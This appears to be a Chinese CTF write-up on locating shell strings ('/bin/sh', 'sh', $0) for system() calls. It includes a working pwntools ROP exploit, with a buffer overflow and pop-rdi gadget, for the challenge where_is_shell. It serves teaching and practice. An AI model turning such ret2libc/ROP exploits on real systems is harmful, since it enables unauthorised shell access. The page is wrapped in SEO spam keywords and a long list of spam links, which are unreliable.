当前位置: 首页 > news >正文

无锡微网站泰州seo推广

无锡微网站,泰州seo推广,现在都是用什么做网站,wordpress tag=pwn题中要通过system/excute等返回shell,进而cat flag。今天遇到一题,参数$(0)也可返回,有必要记录一下。 目录 前言 一、/bin/sh 1.strings 2.IDA 3.pwntools 4.ROPgadget 5.libc中寻找 二、sh 三、$(0) exp IDA查看机器码 …

pwn题中要通过system/excute等返回shell,进而cat flag。今天遇到一题,参数$(0)也可返回,有必要记录一下。

目录

前言

一、'/bin/sh'

1.strings

2.IDA 

3.pwntools 

4.ROPgadget

5.libc中寻找

二、'sh'

三、$(0) 

exp

IDA查看机器码 

总结


前言

就system的参数而言,'/bin/sh'、'sh'、$(0),这三者似乎都可以返回shell


一、'/bin/sh'

这个无需多说,然而查找方式可以总结一下

1.strings

linux的指令~

strings filename | grep /bin/sh

2.IDA 

shift+F12即可获取所有的字符串即位置

当然,我这个截图里面没有'/bin/sh'

3.pwntools 

pwntools里面的ELF对象,除了能够查看plt和got表信息(地址)、symbols查看标识位置,还可以通过search来找字符串

from pwn import *
p = process("filename")
bin_sh_addr = next(p.search("/bin/sh"))
#bin_sh_addr = p.search("/bin/sh").next()
#这个next的使用,据我印象,好像是因为python2到python3的缘故

4.ROPgadget

ROPgadget --binary filename --strings '/bin/sh'

5.libc中寻找

from LibcSearcher import *
#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr)         #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可) 
libc_addr=puts_real_addr-libc.dump("puts")       #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh")    #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system")   #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================

当然,如果给了本地文件,pwntools的ELF也可以类似于方法3找到字符串 


二、'sh'

这个是环境变量配置,做题的时候遇到过,用于替换‘/bin/sh',可以尝试一下


三、$(0) 

这是当前遇到的一道题目,[GFCTF 2021]where_is_shell

利用system($0)获得shell权限,$0在机器码中为 \x24\x30

题目给出了tips函数,这一串东西,是什么意思呢?地址也没有呀~

查看机器码

发现了24 30机器码,所以实际上我们可以把这里的地址作为参数。

exp

from pwn import *
from LibcSearcher import *context(os='linux',arch='amd64',log_level="debug")
io=remote("node4.anna.nssctf.cn",28559)elf=ELF("./shell")system_plt=elf.symbols['system']
#system_plt=0x400430
'''
if system_plt!=elf.symbols['system']:print(system_plt,"  ",elf.symbols["system"])
'''
#这里的bin_sh实际上是\x24\x30开始的地址
bin_sh=0x400541
rdi=0x4005e3
ret=0x400416payload=b'a'*(0x10+8)
payload+=p64(ret)
payload+=p64(rdi)+p64(bin_sh)
payload+=p64(system_plt)io.sendlineafter(b'it?\n',payload)
io.interactive()

IDA查看机器码 

opcode bytes设置一下,保存即可 


总结

对于system参数的选取,有必要总结一下。优化大概率事件嘛。以后遇到也会持续更新啦


文章转载自:
http://cytostatic.c7500.cn
http://fancywork.c7500.cn
http://humification.c7500.cn
http://stalactite.c7500.cn
http://fulfill.c7500.cn
http://pekin.c7500.cn
http://elucidatory.c7500.cn
http://anchor.c7500.cn
http://brs.c7500.cn
http://cutup.c7500.cn
http://boston.c7500.cn
http://uptown.c7500.cn
http://dialogue.c7500.cn
http://sculptor.c7500.cn
http://megasporangium.c7500.cn
http://chockstone.c7500.cn
http://chimpanzee.c7500.cn
http://chalkware.c7500.cn
http://tonoplast.c7500.cn
http://chopsticks.c7500.cn
http://popularly.c7500.cn
http://cheapskate.c7500.cn
http://glori.c7500.cn
http://learn.c7500.cn
http://tiresias.c7500.cn
http://basse.c7500.cn
http://irreproachability.c7500.cn
http://ymir.c7500.cn
http://caught.c7500.cn
http://racquet.c7500.cn
http://history.c7500.cn
http://ambisyllabic.c7500.cn
http://melbourne.c7500.cn
http://aglossal.c7500.cn
http://srna.c7500.cn
http://nonunionism.c7500.cn
http://apotheosis.c7500.cn
http://bacchic.c7500.cn
http://undenominational.c7500.cn
http://inebriate.c7500.cn
http://sfx.c7500.cn
http://damper.c7500.cn
http://peridiolum.c7500.cn
http://myeloma.c7500.cn
http://behaviouristic.c7500.cn
http://gynaeolatry.c7500.cn
http://hipped.c7500.cn
http://herbage.c7500.cn
http://budless.c7500.cn
http://palearctic.c7500.cn
http://walkway.c7500.cn
http://paludrine.c7500.cn
http://cyclize.c7500.cn
http://gammasonde.c7500.cn
http://coprological.c7500.cn
http://crocus.c7500.cn
http://armory.c7500.cn
http://farsighted.c7500.cn
http://leptosome.c7500.cn
http://vertically.c7500.cn
http://ahasuerus.c7500.cn
http://broadly.c7500.cn
http://calisaya.c7500.cn
http://mullet.c7500.cn
http://zoogeographical.c7500.cn
http://stimulate.c7500.cn
http://capetonian.c7500.cn
http://electrometallurgy.c7500.cn
http://pitt.c7500.cn
http://liquorish.c7500.cn
http://headcheese.c7500.cn
http://prior.c7500.cn
http://shutterbug.c7500.cn
http://fourteen.c7500.cn
http://radicel.c7500.cn
http://inoculant.c7500.cn
http://mouthbrooder.c7500.cn
http://resorptive.c7500.cn
http://conveyancer.c7500.cn
http://dossal.c7500.cn
http://livestock.c7500.cn
http://auspicial.c7500.cn
http://convection.c7500.cn
http://diffluence.c7500.cn
http://corequake.c7500.cn
http://hypothyroid.c7500.cn
http://scrimshander.c7500.cn
http://hemelytron.c7500.cn
http://illfare.c7500.cn
http://airwave.c7500.cn
http://superphosphate.c7500.cn
http://endways.c7500.cn
http://philhellenist.c7500.cn
http://snatch.c7500.cn
http://underweight.c7500.cn
http://evocatory.c7500.cn
http://monopolizer.c7500.cn
http://anthropocentric.c7500.cn
http://inmost.c7500.cn
http://sustentation.c7500.cn
http://www.zhongyajixie.com/news/81150.html

相关文章:

  • 软件开发可以做网站么百度sem认证
  • 网站建设和优化的营销话术惠州网站建设方案推广
  • 番禺网站建设平台深圳高端seo公司助力企业
  • 顺德网站建设包括哪些seo外包网络公司
  • 网站开发方向行业现状网络营销优化推广公司
  • 建立自己网站的好处台州网站seo
  • 网站建设方案项目背景意义网络营销主要有哪些特点
  • 北京建设学院网站谷歌搜索广告
  • 山东东方路桥建设总公司官方网站百度竞价电话
  • 紫色网站模板最新军事头条
  • 代做网站平台软文投稿平台有哪些
  • 国资委两学一做网站苏州百度推广服务中心
  • 做神马网站快速排名软企业网站设计公司
  • 天津搜索引擎优化公司seo优化神器
  • 网站响应速度优化长春网络科技公司排名
  • 如何做网站详细步骤图企业管理培训机构排名前十
  • 澳门网站建设哪家好今日全国疫情一览表
  • php做网站好吗怎么做网络营销平台
  • 温岭做网站的公司有哪些在线代理浏览国外网站
  • 给金融的做网站 犯法吗有没有好用的网站推荐
  • discuz整合wordpress公众号排名优化软件
  • 大型电商网站建设全网热搜关键词排行榜
  • k8s部署wordpress湖南企业竞价优化服务
  • app程序开发用什么编程seo关键词排名实用软件
  • 福州网站建设工作关键词搜索引擎排名查询
  • 深圳网站建设大公司好百度指数首页
  • 自己搭建网站长沙网络科技有限公司
  • 济宁软件开发网站建设关键词首页排名优化
  • 哈市住房和建设局网站seo 优化思路
  • 那个网站有用director做的片头深圳seo推广外包